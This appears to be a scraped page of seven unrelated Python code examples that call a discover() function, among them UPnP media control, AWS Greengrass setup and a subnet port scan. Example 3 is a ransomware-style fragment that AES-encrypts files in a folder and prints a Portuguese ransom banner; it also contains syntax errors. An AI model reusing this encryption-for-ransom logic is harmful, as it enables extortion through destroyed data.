Ejemplo n.º 1
0
    def testDiscoveryIntegration(self):
        """Tests basic integration with external discovery service."""
        # Fails due to this bug:
        # http://code.google.com/p/webfingerclient-dclinton/issues/detail?id=2
        # s = discovery.discover('*****@*****.**')
        # self.assertEquals(s,None)

        s = discovery.discover("*****@*****.**")
        self.assertNotEqual(s, None)
Ejemplo n.º 2
0
def start():
    workers = {}
    devices = discover(2)
    for mac_address in devices:
        if mac_address not in workers\
            or not workers[mac_address]["process"].is_alive():
            workers[mac_address] = {}
            workers[mac_address]["queue"] = Queue()
            workers[mac_address]["process"] = Process(target=device_worker,
                args=(workers[mac_address]["queue"], mac_address))
            workers[mac_address]["process"].start()
Ejemplo n.º 3
0
def main():
    parser = get_parser()
    args = vars(parser.parse_args())
    decrypt = args['decrypt']

    if decrypt:
        print('''
        HACKWARE STRIKE FORCE
        -----------------------------------------
        Os seus ficheiros foram criptogrados.
        Para decriptá-los utilize a seguinte senha '{}'
        '''.format(HARDCODED_KEY))
        key = input('Digite a senha >')
    else:
        if HARDCODED_KEY:
            key = HARDCODED_KEY

    ctr = Counter.new(128)
    crypt = AES.new(key, AES.MODE_CTR, counter=ctr)

    if not decrypt:
        cryptFn = crypt.encrypt
    else:
        cryptFn = crypt.decrypt

    init_path = os.path.abspath(os.path.join(os.getcwd(), 'files'))
    startDirs = [ init_path ]

    for currentDir in startDirs:
        for filename in discovery.discover(currentDir)
            Crypter.change_files(filename, cryptFn)

    # limpa achave de criptografia da memória
    for _in range(100):
        pass

    if not decrypt:
        pass
Ejemplo n.º 4
0
        return upnp.send_command(
            self._base_url + '/MediaRenderer/AVTransport/Control',
            'AVTransport', 1, command, args)

    def play(self):
        self._issue_av_transport_command('Play')

    def pause(self):
        self._issue_av_transport_command('Pause')

    def next(self):
        self._issue_av_transport_command('Next')

    def get_current_track_info(self):
        response = self._issue_av_transport_command('GetPositionInfo',
                                                    [('InstanceID', 0),
                                                     ('Channel', 'Master')])
        if 'TrackMetaData' not in response:
            # Nothing playing.
            return None
        print('hm')
        return TrackInfo(
            response['TrackMetaData'],  # DIDL-Lite XML
            response['TrackDuration'],  # Total length
            response['RelTime']  # Current position
        )


if __name__ == '__main__':
    print([s.get_current_track_info() for s in discovery.discover()])
Ejemplo n.º 5
0
        config = json.load(f)

    # Unpack config file
    endpoint = config['endpoint']
    iotCAPath = config['rootCAPath']
    certificatePath = config['certificatePath']
    privateKeyPath = config['privateKeyPath']
    thingName = config['thingName']
    clientId = config['clientId']
    deviceParams = config['deviceParams']

    # Run Discovery service to check which GGC to connect to, if it hasn't been run already
    # Discovery talks with the IoT cloud to get the GGC CA cert and ip address

    if not os.path.isfile('{}/groupCA/root-ca.crt'.format(DEVICE_PATH)):
        discovery.discover(endpoint, iotCAPath, certificatePath,
                           privateKeyPath, clientId, DEVICE_PATH)
    else:
        print("Greengrass core has already been discovered.")

    ggcAddrPath = '{}/{}'.format(
        DEVICE_PATH, discovery.GROUP_CA_PATH + discovery.GGC_ADDR_NAME)
    rootCAPath = '{}/{}'.format(DEVICE_PATH,
                                discovery.GROUP_CA_PATH + discovery.CA_NAME)
    ggcAddr = discovery.getGGCAddr(ggcAddrPath)

    print("GGC Host Address: {}".format(ggcAddr))
    print("GGC Group CA Path: {}".format(rootCAPath))
    print("Private Key of thing Path: {}".format(privateKeyPath))
    print("Certificate of thing Path: {}".format(certificatePath))
    print("Client ID (thing name): {}".format(clientId))
    print("Target shadow thing ID(thing name): {}".format(thingName))
Ejemplo n.º 6
0
def dumps():
    while True:
        print discover('192.168.2.0/24', '80')
        print 'Sleeping for 60 secs'
        sleep(60)
Ejemplo n.º 7
0
def discover():
    hubs = discovery.discover()
    pprint(hubs)